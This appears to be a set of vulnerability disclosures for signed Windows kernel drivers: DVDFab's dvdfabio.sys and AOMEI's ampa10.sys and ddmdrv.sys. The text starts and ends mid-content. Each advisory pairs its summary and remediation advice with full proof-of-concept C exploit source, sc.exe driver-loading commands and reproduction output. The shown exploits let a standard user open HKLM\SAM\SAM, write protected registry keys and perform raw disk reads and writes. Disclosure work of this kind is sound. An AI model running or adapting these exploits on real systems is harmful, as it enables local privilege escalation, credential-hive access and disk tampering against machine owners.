FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if (h == INVALID_HANDLE_VALUE) {
fwprintf(stderr, L"CreateFileW(%ls) failed: %lu\n", devpath, GetLastError());
return 1;
}
if (do_geometry) {
BYTE outbuf[1024];
DWORD returned = 0;
ZeroMemory(outbuf, sizeof(outbuf));
if (!DeviceIoControl(h, IOCTL_DISK_GET_DRIVE_GEOMETRY_EX,
NULL, 0, outbuf, sizeof(outbuf), &returned, NULL)) {
fwprintf(stderr, L"DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY_EX) failed: %lu\n",
GetLastError());
CloseHandle(h);
return 1;
}
wprintf(L"geometry ioctl returned %lu bytes via pwdrvio forwarder\n", returned);
hexdump_prefix(outbuf, returned);
CloseHandle(h);
return 0;
}
if (do_read) {
BYTE *buf;
DWORD len;
DWORD got = 0;
if (!out_path || length64 == 0 || length64 > 0x100000) {
usage();
CloseHandle(h);
return 2;
}
len = (DWORD)length64;
buf = (BYTE *)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!buf) {
fwprintf(stderr, L"VirtualAlloc failed: %lu\n", GetLastError());
CloseHandle(h);
return 1;
}
if (!sync_read(h, offset, buf, len, &got)) {
fwprintf(stderr, L"ReadFile through pwdrvio failed: %lu\n", GetLastError());
VirtualFree(buf, 0, MEM_RELEASE);
CloseHandle(h);
return 1;
}
if (!write_file_all(out_path, buf, got)) {
fwprintf(stderr, L"could not write output file: %ls\n", out_path);
VirtualFree(buf, 0, MEM_RELEASE);
CloseHandle(h);
return 1;
}
wprintf(L"read %lu bytes from disk %llu offset %llu via pwdrvio forwarder\n",
got, (unsigned long long)disk, (unsigned long long)offset);
hexdump_prefix(buf, got);
VirtualFree(buf, 0, MEM_RELEASE);
CloseHandle(h);
return 0;
}
if (do_write) {
BYTE *buf = NULL;
DWORD len = 0;
DWORD wrote = 0;
if (!in_path || !has_arg(argc, argv, L"--dangerous-write")) {
fwprintf(stderr, L"raw disk writes require --in <file> and --dangerous-write\n");
CloseHandle(h);
return 2;
}
if (!read_file_all(in_path, &buf, &len)) {
fwprintf(stderr, L"could not read input file: %ls\n", in_path);
CloseHandle(h);
return 1;
}
if (!sync_write(h, offset, buf, len, &wrote)) {
fwprintf(stderr, L"WriteFile through pwdrvio failed: %lu\n", GetLastError());
HeapFree(GetProcessHeap(), 0, buf);
CloseHandle(h);
return 1;
}
wprintf(L"wrote %lu bytes to disk %llu offset %llu via pwdrvio forwarder\n",
wrote, (unsigned long long)disk, (unsigned long long)offset);
HeapFree(GetProcessHeap(), 0, buf);
}
CloseHandle(h);
return 0;
}
DVDFab Virtual Drive Kernel Driver dvdfabio.sys 1.5.1.0 Local Privilege Escalation
CVE-2026-12217 Summary
DVDFab Virtual Drive 2.0.0.5 ships the signed kernel driver dvdfabio.sys. The driver exposes \\.\DVDFabIO and implements registry proxy IOCTLs that open or create caller-selected native registry paths from kernel context.
The returned registry handle is inserted into the caller's process handle table. Because the driver opens the key from kernel mode without enforcing the caller's normal registry access checks, a standard user can obtain a usable handle to protected HKLM keys. In the validation below, a standard user could not directly write to a protected HKLM test key and could not directly query HKLM\SAM\SAM; the same user used \\.\DVDFabIO to write the protected test key and to open/query HKLM\SAM\SAM, local privilege escalation is achieved.
Affected Product and Version
- Product: DVDFab Virtual Drive
- Tested package: x64 offline installer 2.0.0.5
- Driver:
dvdfabio.sys - Driver version: 1.5.1.0
- Driver SHA-256:
C3A8549359FF81566F5C58359458E3F019C8DB73EE5BC831680C6EDB3A95F38B
Download URL and SHA-256
- Download URL:
https://dl.dvdfab.cn/download/204_2005_9042fe5d/dvdfab_virtual_drive_x64_2005.exe - File name:
dvdfab_virtual_drive_x64_2005.exe - Installer SHA-256:
47EFFCEA3D80B6784DF6314BFADCABA6B688EF03F2B5FEAFA0CB2744C041F1E7 - Installer version:
1.0.0.1 - Installer signature: Valid, DVDFab Software Inc.
- Driver signature: Valid, Fengtao Software Inc.
Vulnerability Type
Local privilege escalation / Windows registry access-control bypass through kernel-created registry handles returned to a low-privileged caller.
Impact
A low-privileged local user can obtain handles to protected HKLM registry keys with access masks that Windows would normally deny. With KEY_SET_VALUE, this permits protected registry value writes. With read access, it permits opening protected hives such as HKLM\SAM\SAM.
Practical impact includes protected configuration tampering, persistence setup through registry-controlled locations, and sensitive registry metadata disclosure. The validation used a self-created HKLM test key for write impact and used HKLM\SAM\SAM only for read/open proof.
Test Environment
- OS: Windows, x64 test VM
- Administrator account used only for driver loading and test-object setup
- Test user: standard user
EXPDEV\low - Test user integrity: Medium Integrity
- Test user groups:
BUILTIN\Users, notBUILTIN\Administrators - Test key:
HKLM\SOFTWARE\VendorRepro\DVDFabIO
Driver Load / Setup Steps
- Downloaded the official DVDFab Virtual Drive x64 offline installer.
- Extracted
dvdfabio.sysfrom the package with 7-Zip. - Loaded the extracted signed driver without installing the full product by creating a temporary kernel service:
sc.exe create DVDFabIORepro type= kernel start= demand binPath= C:\...\dvdfabio.sys
sc.exe start DVDFabIORepro
- Confirmed the driver was running:
SERVICE_NAME: DVDFabIORepro
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
- Created a protected HKLM test key as administrator:
New-Item -Path HKLM:\SOFTWARE\VendorRepro\DVDFabIO -Force
New-ItemProperty -Path HKLM:\SOFTWARE\VendorRepro\DVDFabIO -Name Guard -Value before -PropertyType String -Force
Reproduction Steps1. Extract and Load Driver
1. Extract and Load Driver
Extract dvdfabio.sys from the official x64 installer:
7z.exe x dvdfab_virtual_drive_x64_2005.exe dvdfabio.sys -oC:\ProgramData\VendorRepro\dvdfabio_extract -y
Load the driver with a temporary service:
sc.exe create DVDFabIORepro type= kernel start= demand binPath= C:\ProgramData\VendorRepro\dvdfabio_extract\dvdfabio.sys
sc.exe start DVDFabIORepro
sc.exe query DVDFabIORepro
2. Create Controlled Registry Key
Run as administrator:
New-Item -Path HKLM:\SOFTWARE\VendorRepro\DVDFabIO -Force | Out-Null
New-ItemProperty -Path HKLM:\SOFTWARE\VendorRepro\DVDFabIO -Name Guard -Value before -PropertyType String -Force | Out-Null
3. Baseline as Standard User
Run as a standard user:
reg add HKLM\SOFTWARE\VendorRepro\DVDFabIO /v DriverWritten /t REG_SZ /d SHOULD-NOT-WRITE /f
reg query HKLM\SAM\SAM
Expected result:
ERROR: Access is denied.
4. Write Protected Value Through Driver Handle
Run as the same standard user:
dvdfabio_registry_setvalue_poc.exe --key \Registry\Machine\SOFTWARE\VendorRepro\DVDFabIO --value DriverWritten --data DVDFABIO-REGISTRY-HANDLE-WRITE-c116e8a0-e40f-40c3-aa0f-3e4c48f49cae
Expected output:
Set \Registry\Machine\SOFTWARE\VendorRepro\DVDFabIO\DriverWritten through dvdfabio handle
Confirm:
reg query HKLM\SOFTWARE\VendorRepro\DVDFabIO /v DriverWritten
5. Open SAM Through Driver Handle
Run as the same standard user:
dvdfabio_registry_handle_poc.exe \Registry\Machine\SAM\SAM 0x00020019
Expected output:
Driver returned key handle: 0x...
NtQueryKey succeeded. Final key component: SAM
6. Cleanup
Remove-Item HKLM:\SOFTWARE\VendorRepro -Recurse -Force -ErrorAction SilentlyContinue
sc.exe stop DVDFabIORepro
sc.exe delete DVDFabIORepro
Remove-Item C:\ProgramData\VendorRepro -Recurse -Force -ErrorAction SilentlyContinue
Why This Proves the Vulnerability
The test user is a standard user at Medium Integrity. Windows correctly denies that user direct write access to the protected HKLM test key and direct read/query access to HKLM\SAM\SAM. The same user can obtain privileged registry handles through \\.\DVDFabIO and use them in the caller process.
This proves that dvdfabio.sys exposes privileged registry open/create functionality to low-privileged callers without enforcing the expected Windows registry access checks.
Suggested Remediation
- Remove the registry open/create IOCTLs from the public device interface.
- Restrict the \\.\DVDFabIO device ACL so standard users cannot open it.
- Do not return kernel-opened object handles to untrusted callers.
- If registry access is required, impersonate the caller and force normal access checks before opening the registry object.
- Restrict any necessary registry helper to vendor-owned keys and validate requested access masks against a strict allowlist.
POC
// DVDFab Virtual Drive dvdfabio.sys registry handle ACL-bypass PoC.
//
// Static target:
// \Device\DVDFabIO / \\.\DVDFabIO
// IOCTL 0x222410 -> ZwOpenKey with ObjectAttributes.Attributes = 0x40
// IOCTL 0x22240C -> ZwCreateKey with ObjectAttributes.Attributes = 0x40
//
// This program does not write registry values. By default it asks the driver to
// open \Registry\Machine\SAM\SAM read-only and verifies the returned handle with
// NtQueryKey. The optional --create-demo mode creates/opens a disposable HKLM
// software key but still does not set or delete values.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winioctl.h>
#include <winternl.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <wchar.h>
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#ifndef KEY_WOW64_64KEY
#define KEY_WOW64_64KEY 0x0100
#endif
#define IOCTL_DVDFABIO_CREATE_KEY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x903, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_DVDFABIO_OPEN_KEY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x904, METHOD_BUFFERED, FILE_ANY_ACCESS)
typedef enum _KEY_INFORMATION_CLASS_LOCAL {
KeyBasicInformationLocal = 0
} KEY_INFORMATION_CLASS_LOCAL;
typedef struct _KEY_BASIC_INFORMATION_LOCAL {
LARGE_INTEGER LastWriteTime;
ULONG TitleIndex;
ULONG NameLength;
WCHAR Name[1];
} KEY_BASIC_INFORMATION_LOCAL;
typedef NTSTATUS (NTAPI *PFN_NT_QUERY_KEY)(
HANDLE KeyHandle,
KEY_INFORMATION_CLASS_LOCAL KeyInformationClass,
PVOID KeyInformation,
ULONG Length,
PULONG ResultLength);
#pragma pack(push, 1)
typedef struct _DVDFABIO_OPEN_KEY_REQ {
DWORD DesiredAccess;
WCHAR NativePath[260];
} DVDFABIO_OPEN_KEY_REQ;
typedef struct _DVDFABIO_CREATE_KEY_REQ {
DWORD DesiredAccess;
DWORD CreateOptions;
WCHAR NativePath[260];
} DVDFABIO_CREATE_KEY_REQ;
#pragma pack(pop)
static void usage(const wchar_t *argv0)
{
wprintf(L"Usage:\n");
wprintf(L" %ls [native-key-path] [desired-access-hex]\n", argv0);
wprintf(L" %ls --create-demo\n\n", argv0);
wprintf(L"Default native-key-path: \\\\Registry\\\\Machine\\\\SAM\\\\SAM\n");
wprintf(L"Default desired access: KEY_READ | KEY_WOW64_64KEY (0x%08lx)\n",
(unsigned long)(KEY_READ | KEY_WOW64_64KEY));
}
static int query_key_name(HANDLE key)
{
BYTE buffer[1024];
ULONG needed = 0;
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll) {
fwprintf(stderr, L"GetModuleHandleW(ntdll.dll) failed: %lu\n", GetLastError());
return 1;
}
PFN_NT_QUERY_KEY NtQueryKeyFn =
(PFN_NT_QUERY_KEY)GetProcAddress(ntdll, "NtQueryKey");
if (!NtQueryKeyFn) {
fwprintf(stderr, L"GetProcAddress(NtQueryKey) failed: %lu\n", GetLastError());
return 1;
}
NTSTATUS st = NtQueryKeyFn(key,
KeyBasicInformationLocal,
buffer,
sizeof(buffer),
&needed);
if (!NT_SUCCESS(st)) {
fwprintf(stderr, L"NtQueryKey failed: NTSTATUS 0x%08lx, needed %lu bytes\n",
(unsigned long)st, needed);
return 1;
}
KEY_BASIC_INFORMATION_LOCAL *info = (KEY_BASIC_INFORMATION_LOCAL *)buffer;
DWORD chars = info->NameLength / sizeof(WCHAR);
wprintf(L"NtQueryKey succeeded. Final key component: %.*ls\n",
(int)chars, info->Name);
return 0;
}
static int open_key_via_driver(HANDLE device, const wchar_t *path, DWORD desired)
{
DVDFABIO_OPEN_KEY_REQ req;
DWORD bytes = 0;
ZeroMemory(&req, sizeof(req));
req.DesiredAccess = desired;
wcsncpy_s(req.NativePath, _countof(req.NativePath), path, _TRUNCATE);
BOOL ok = DeviceIoControl(device,
IOCTL_DVDFABIO_OPEN_KEY,
&req,
sizeof(req),
&req,
sizeof(uint64_t),
&bytes,
NULL);
if (!ok) {
fwprintf(stderr, L"DeviceIoControl(IOCTL_DVDFABIO_OPEN_KEY) failed: %lu\n",
GetLastError());
return 1;
}
uintptr_t raw_handle = *(uintptr_t *)&req;
if (raw_handle == (uintptr_t)-1 || raw_handle == 0) {
fwprintf(stderr, L"Driver returned invalid handle value: 0x%p\n",
(void *)raw_handle);
return 1;
}
HANDLE key = (HANDLE)raw_handle;
wprintf(L"Driver returned key handle: 0x%p for %ls\n", key, path);
int rc = query_key_name(key);
CloseHandle(key);
return rc;
}
static int create_demo_key_via_driver(HANDLE device)
{
static const wchar_t demo_path[] =
L"\\Registry\\Machine\\SOFTWARE\\DVDFabIO_PoC";
DVDFABIO_CREATE_KEY_REQ req;
DWORD bytes = 0;
ZeroMemory(&req, sizeof(req));
req.DesiredAccess = KEY_READ | KEY_SET_VALUE | KEY_CREATE_SUB_KEY | KEY_WOW64_64KEY;
req.CreateOptions = REG_OPTION_NON_VOLATILE;
wcsncpy_s(req.NativePath, _countof(req.NativePath), demo_path, _TRUNCATE);
BOOL ok = DeviceIoControl(device,
IOCTL_DVDFABIO_CREATE_KEY,
&req,
sizeof(req),
&req,
sizeof(uint64_t),
&bytes,
NULL);
if (!ok) {
fwprintf(stderr, L"DeviceIoControl(IOCTL_DVDFABIO_CREATE_KEY) failed: %lu\n",
GetLastError());
return 1;
}
uintptr_t raw_handle = *(uintptr_t *)&req;
if (raw_handle == (uintptr_t)-1 || raw_handle == 0) {
fwprintf(stderr, L"Driver returned invalid handle value: 0x%p\n",
(void *)raw_handle);
return 1;
}
HANDLE key = (HANDLE)raw_handle;
wprintf(L"Driver created/opened demo key handle: 0x%p for %ls\n", key, demo_path);
int rc = query_key_name(key);
CloseHandle(key);
return rc;
}
int wmain(int argc, wchar_t **argv)
{
const wchar_t *path = L"\\Registry\\Machine\\SAM\\SAM";
DWORD desired = KEY_READ | KEY_WOW64_64KEY;
BOOL create_demo = FALSE;
if (argc > 1) {
if (wcscmp(argv[1], L"--help") == 0 || wcscmp(argv[1], L"-h") == 0) {
usage(argv[0]);
return 0;
}
if (wcscmp(argv[1], L"--create-demo") == 0) {
create_demo = TRUE;
} else {
path = argv[1];
}
}
if (argc > 2) {
desired = wcstoul(argv[2], NULL, 0);
}
HANDLE device = CreateFileW(L"\\\\.\\DVDFabIO",
0,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (device == INVALID_HANDLE_VALUE) {
fwprintf(stderr, L"CreateFileW(\\\\.\\DVDFabIO) failed: %lu\n", GetLastError());
fwprintf(stderr, L"Install/load DVDFab Virtual Drive first, then retry in a disposable VM.\n");
return 1;
}
int rc = create_demo
? create_demo_key_via_driver(device)
: open_key_via_driver(device, path, desired);
CloseHandle(device);
return rc;
}
AOMEI Partition Assistant 10.10.1 Kernel Driver ampa10.sys Local Privilege Escalation
CVE-2026-12778 Summary
ampa10.sys, shipped with AOMEI Partition Assistant Standard 10.10.1, exposes the \\.\wowrt device to a standard local user and forwards file read/write requests to the underlying disk stack. The forwarded requests are issued from kernel mode, so the normal Windows access check that prevents a standard user from opening \\.\PhysicalDriveN is bypassed.
In a controlled proof, a standard Medium Integrity user could not open a temporary VHD-backed physical disk directly. The same user then wrote a unique 512-byte marker to that disk through \\.\wowrt\Partition0\DISK1, read it back through the driver, and an Administrator confirmed the marker by directly reading \\.\PhysicalDrive1 at the same offset.
An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.
Affected Product and Version
- Product: AOMEI Partition Assistant Standard
- Product version: 10.10.1
- Affected driver:
ampa10.sys - Driver SHA-256:
4909945CC832276521A749B196939D7BAA66BA9B0FC0A69F8DCD9045D69E9780 - Driver file size: 32,752 bytes
- Driver signature: Valid
- Driver signer:
AOMEI International Network Limited - Driver certificate issuer:
Sectigo Public Code Signing CA EV R36
Download URL and SHA-256
- Download URL:
https://www2.aomeisoftware.com/download/pa/PAssist_Std.exe - Downloaded file name:
PAssist_Std.exe - Installer SHA-256:
0C244FF57E35174E9FA017DF06CA54B7EDF5927D164E2ABD22AD44B8D7BBDE2C - Installer signature: Valid, signer
AOMEI International Network Limited
Vulnerability Type
Local privilege escalation / Windows access-control bypass through an unauthenticated raw disk I/O forwarder.
Impact
A standard local user can issue raw disk reads and writes through the vendor driver even though direct access to the same physical disk is denied by Windows. Raw disk write access can be used to tamper with file-system structures, boot records, registry hives, or privileged files by sector offset. The proof below writes only to a temporary VHD created for testing.
Test Environment
- OS: Microsoft Windows Server 2025 Datacenter Evaluation
- Version: 10.0.26100, 64-bit
- High-privilege account: local Administrator
- Low-privilege account: standard local user
- Low-privilege integrity level: Medium Mandatory Level
- Test target: 64 MiB temporary VHD attached as
\\.\PhysicalDrive1
Driver Load / Setup Steps
The installer was extracted offline; the product installer UI was not executed.
innoextract.exe -d C:\ProgramData\VendorRepro\aomei_pa_inno C:\Users\Administrator\Downloads\PAssist_Std.exe
Copy-Item C:\ProgramData\VendorRepro\aomei_pa_inno\app\native\wlh\amd64\fre\ampa10.sys C:\ProgramData\VendorRepro\aomei_pa_driver\ampa10.sys
sc.exe create aomei_ampa10_repro type= kernel start= demand binPath= C:\ProgramData\VendorRepro\aomei_pa_driver\ampa10.sys
sc.exe start aomei_ampa10_repro
Driver load result:
SERVICE_NAME: aomei_ampa10_repro
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
The temporary VHD was created and attached with DiskPart:
create vdisk file="C:\ProgramData\VendorRepro\aomei_pa_work\controlled_disk.vhd" maximum=64 type=fixed
attach vdisk
Windows assigned the VHD as \\.\PhysicalDrive1.
Reproduction Steps
As the standard user, first confirm direct raw disk access is denied:
[System.IO.File]::Open("\\.\PhysicalDrive1", [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite)
Then run the proof program as the same standard user:
$device = "\\.\wowrt\Partition0\DISK1"
$offset = 3145728
.\aomei_raw_disk_forwarder_poc.exe --device $device --write --offset $offset --in .\payload.bin --dangerous-write
.\aomei_raw_disk_forwarder_poc.exe --device $device --read --offset $offset --length 512 --out .\low_user_readback.bin
Finally, as Administrator, read the same physical disk offset directly:
$fs = [System.IO.File]::Open("\\.\PhysicalDrive1", [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite)
$fs.Seek(3145728, [System.IO.SeekOrigin]::Begin)
Baseline Evidence
The test user is a standard user at Medium Integrity:
User Name SID
=================== ==============================================
win-r10ekfcblse\low S-1-5-21-3216720306-2916786533-1985372423-1000
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Direct access to the VHD-backed physical disk failed:
EXPECTED_DENIED: System.Management.Automation.MethodInvocationException: Exception calling "Open" with "4" argument(s): "Access to the path '\\.\PhysicalDrive1' is denied."
Exploit Evidence
The same standard user wrote and read a unique marker through \\.\wowrt\Partition0\DISK1:
=== low ampa10 final exploit ===
write request completed; driver_reported=512 requested=512
WRITE_EXIT=0
read request completed; driver_reported=512 saved=512 into C:\ProgramData\VendorRepro\aomei_pa_work\low_ampa10_final_readback.bin
READ_EXIT=0
READBACK_ASCII=AOMEI-PA-RAW-SECTOR-0729064d-70b0-4fd4-8622-c52da1698423
Administrator direct readback from the same physical disk offset confirmed the marker was actually written to the temporary disk:
=== admin physical readback after ampa10 final ===
target=\\.\PhysicalDrive1
offset=3145728
bytes_read=512
readback_ascii=AOMEI-PA-RAW-SECTOR-0729064d-70b0-4fd4-8622-c52da1698423
Why This Proves the Vulnerability
Windows denied the standard user direct read/write access to \\.\PhysicalDrive1. The user did not have administrative privileges or storage-management privileges.
After ampa10.sys was loaded, the same user could open \\.\wowrt\Partition0\DISK1 and perform raw disk I/O through the vendor driver. The marker was read back through the driver and then independently confirmed by an Administrator reading the VHD-backed physical disk directly. Therefore, the driver exposes privileged raw disk functionality to a standard user without enforcing the expected Windows access checks.
Cleanup Steps
sc.exe stop aomei_ampa10_repro
sc.exe delete aomei_ampa10_repro
diskpart /s detach_vhd.diskpart
Remove-Item C:\ProgramData\VendorRepro\aomei_pa_work\controlled_disk.vhd -Force
Remove-Item C:\ProgramData\VendorRepro\aomei_pa_driver\ampa10.sys -Force
The test used only a temporary VHD and did not write to a real system disk.
Suggested Remediation
- Create the device with an explicit restrictive security descriptor, for example admin-only access via
IoCreateDeviceSecure. - Set
FILE_DEVICE_SECURE_OPENfor the exposed device. - Reject user-mode callers for raw disk forwarding paths unless the caller is explicitly authorized.
- Do not forward arbitrary read/write operations to disk device objects on behalf of unprivileged callers.
- Add per-request authorization checks for any operation that can read or write raw disk sectors.
POC
// AOMEI raw-disk forwarder proof-of-impact.
// Supported device families include \\.\wowrt, \\.\ddmwrt, and \\.\amwrtdrv.
// This program is intentionally inert unless --read or --write is selected.
// Destructive writes require --dangerous-write.
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <wchar.h>
static void usage(void) {
fwprintf(stderr,
L"usage:\n"
L" aomei_raw_disk_forwarder_poc.exe --device <path> --read --offset <n> --length <n> --out <file>\n"
L" aomei_raw_disk_forwarder_poc.exe --device <path> --write --offset <n> --in <file> --dangerous-write\n"
L"\nexamples:\n"
L" --device \\\\.\\wowrt\\Partition0\\DISK0\n"
L" --device \\\\.\\ddmwrt\\Partition0\\DISK0\n"
L" --device \\\\.\\amwrtdrv\\Partition0\\DISK0\n");
}
static const wchar_t *arg_value(int argc, wchar_t **argv, const wchar_t *name) {
for (int i = 1; i + 1 < argc; ++i) {
if (wcscmp(argv[i], name) == 0) return argv[i + 1];
}
return NULL;
}
static int has_arg(int argc, wchar_t **argv, const wchar_t *name) {
for (int i = 1; i < argc; ++i) {
if (wcscmp(argv[i], name) == 0) return 1;
}
return 0;
}
static uint64_t parse_u64(const wchar_t *s) {
return s ? _wcstoui64(s, NULL, 0) : 0;
}
static int read_file_all(const wchar_t *path, BYTE **buf, DWORD *len) {
HANDLE f = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
LARGE_INTEGER sz;
DWORD got = 0;
if (f == INVALID_HANDLE_VALUE) return 0;
if (!GetFileSizeEx(f, &sz) || sz.QuadPart <= 0 || sz.QuadPart > 0x1000000) {
CloseHandle(f);
return 0;
}
*buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)sz.QuadPart);
*len = (DWORD)sz.QuadPart;
if (!*buf || !ReadFile(f, *buf, *len, &got, NULL) || got != *len) {
CloseHandle(f);
return 0;
}
CloseHandle(f);
return 1;
}
static int write_file_all(const wchar_t *path, const BYTE *buf, DWORD len) {
HANDLE f = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD wrote = 0;
if (f == INVALID_HANDLE_VALUE) return 0;
if (!WriteFile(f, buf, len, &wrote, NULL) || wrote != len) {
CloseHandle(f);
return 0;
}
CloseHandle(f);
return 1;
}
int wmain(int argc, wchar_t **argv) {
const wchar_t *device = arg_value(argc, argv, L"--device");
uint64_t offset = parse_u64(arg_value(argc, argv, L"--offset"));
int do_read = has_arg(argc, argv, L"--read");
int do_write = has_arg(argc, argv, L"--write");
if (!device || do_read == do_write) {
usage();
return 2;
}
HANDLE h = CreateFileW(device, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) {
wprintf(L"CreateFileW(%ls) failed: %lu\n", device, GetLastError());
return 1;
}
LARGE_INTEGER li;
li.QuadPart = (LONGLONG)offset;
if (!SetFilePointerEx(h, li, NULL, FILE_BEGIN)) {
wprintf(L"SetFilePointerEx failed: %lu\n", GetLastError());
CloseHandle(h);
return 1;
}
if (do_read) {
const wchar_t *out = arg_value(argc, argv, L"--out");
DWORD len = (DWORD)parse_u64(arg_value(argc, argv, L"--length"));
if (!out || len == 0 || len > 0x1000000) {
usage();
CloseHandle(h);
return 2;
}
BYTE *buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, len);
DWORD got = 0;
if (!buf) return 1;
if (!ReadFile(h, buf, len, &got, NULL)) {
wprintf(L"ReadFile via vulnerable forwarder failed: %lu\n", GetLastError());
HeapFree(GetProcessHeap(), 0, buf);
CloseHandle(h);
return 1;
}
DWORD out_len = got;
if (out_len > len) {
wprintf(L"driver reported %lu bytes for a %lu-byte read; clamping saved output to requested length\n", got, len);
out_len = len;
}
if (!write_file_all(out, buf, out_len)) {
wprintf(L"writing output file failed: %lu\n", GetLastError());
HeapFree(GetProcessHeap(), 0, buf);
CloseHandle(h);
return 1;
}
wprintf(L"read request completed; driver_reported=%lu saved=%lu into %ls\n", got, out_len, out);
HeapFree(GetProcessHeap(), 0, buf);
} else {
const wchar_t *in = arg_value(argc, argv, L"--in");
if (!has_arg(argc, argv, L"--dangerous-write") || !in) {
fwprintf(stderr, L"write mode requires --in <file> and --dangerous-write\n");
CloseHandle(h);
return 2;
}
BYTE *buf = NULL;
DWORD len = 0, wrote = 0;
if (!read_file_all(in, &buf, &len)) {
wprintf(L"reading payload failed: %lu\n", GetLastError());
CloseHandle(h);
return 1;
}
if (!WriteFile(h, buf, len, &wrote, NULL)) {
wprintf(L"WriteFile via vulnerable forwarder failed: %lu\n", GetLastError());
HeapFree(GetProcessHeap(), 0, buf);
CloseHandle(h);
return 1;
}
if (wrote > len) {
wprintf(L"driver reported %lu bytes for a %lu-byte write; requested buffer length was used\n", wrote, len);
}
wprintf(L"write request completed; driver_reported=%lu requested=%lu\n", wrote, len);
HeapFree(GetProcessHeap(), 0, buf);
}
CloseHandle(h);
return 0;
}
AOMEI Dynamic Disk Manager 10.10.1 Kernel Driver ddmdrv.sys Local Privilege Escalation
CVE-2026-12779 Summary
ddmdrv.sys, shipped with AOMEI Partition Assistant Standard 10.10.1, exposes the \\.\ddmwrt device to a standard local user and forwards raw read/write requests to the underlying disk stack. The forwarded requests are issued by the kernel driver, so the standard Windows access check that prevents a non-administrator from opening \\.\PhysicalDriveN is bypassed.
In a controlled proof, a standard Medium Integrity user could not open a temporary VHD-backed physical disk directly. The same user then wrote a unique 512-byte marker to that disk through \\.\ddmwrt\Partition0\DISK1, read it back through the driver, and an Administrator confirmed the marker by directly reading \\.\PhysicalDrive1 at the same offset.
An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.
Affected Product and Version
- Product: AOMEI Partition Assistant Standard
- Product version: 10.10.1
- Affected driver:
ddmdrv.sys - Driver SHA-256:
7BE327777B40547625E9BF5B91B00B7AE0B5507DB85DE9741B995A4F6AFEFC12 - Driver file size: 35,760 bytes
- Driver signature: Valid
- Driver signer:
CHENGDU AOMEI Tech Co., Ltd. - Driver certificate issuer:
VeriSign Class 3 Code Signing 2010 CA
Download URL and SHA-256
- Download URL:
https://www2.aomeisoftware.com/download/pa/PAssist_Std.exe - Downloaded file name:
PAssist_Std.exe - Installer SHA-256:
0C244FF57E35174E9FA017DF06CA54B7EDF5927D164E2ABD22AD44B8D7BBDE2C - Installer signature: Valid, signer
AOMEI International Network Limited
Vulnerability Type
Local privilege escalation / Windows access-control bypass through an unauthenticated raw disk read/write forwarder.
Impact
A standard local user can perform raw sector reads and writes through the vendor driver even though direct access to the same physical disk is denied by Windows. Raw disk write access can be used to tamper with file-system structures, boot records, registry hives, or privileged files by sector offset. This proof writes only to a temporary VHD created for testing.
ddmdrv.sys also reports an inflated byte count for 512-byte raw I/O requests (262144 bytes reported for a 512-byte request). The proof program clamps saved readback data to the requested length so the evidence file remains stable.
Test Environment
- OS: Microsoft Windows Server 2025 Datacenter Evaluation
- Version: 10.0.26100, 64-bit
- High-privilege account: local Administrator
- Low-privilege account: standard local user
- Low-privilege integrity level: Medium Mandatory Level
- Test target: 64 MiB temporary VHD attached as
\\.\PhysicalDrive1
Driver Load / Setup Steps
The installer was extracted offline; the product installer UI was not executed.
innoextract.exe -d C:\ProgramData\VendorRepro\aomei_pa_inno C:\Users\Administrator\Downloads\PAssist_Std.exe
Copy-Item C:\ProgramData\VendorRepro\aomei_pa_inno\app\ddm\ddmdrv.sys C:\ProgramData\VendorRepro\aomei_pa_driver\ddmdrv.sys
sc.exe create aomei_ddmdrv_repro type= kernel start= demand binPath= C:\ProgramData\VendorRepro\aomei_pa_driver\ddmdrv.sys
sc.exe start aomei_ddmdrv_repro
Driver load result:
SERVICE_NAME: aomei_ddmdrv_repro
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
The temporary VHD was created and attached with DiskPart:
create vdisk file="C:\ProgramData\VendorRepro\aomei_pa_work\controlled_disk.vhd" maximum=64 type=fixed
attach vdisk
Windows assigned the VHD as \\.\PhysicalDrive1.
Reproduction Steps
As the standard user, first confirm direct raw disk access is denied:
[System.IO.File]::Open("\\.\PhysicalDrive1", [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite)
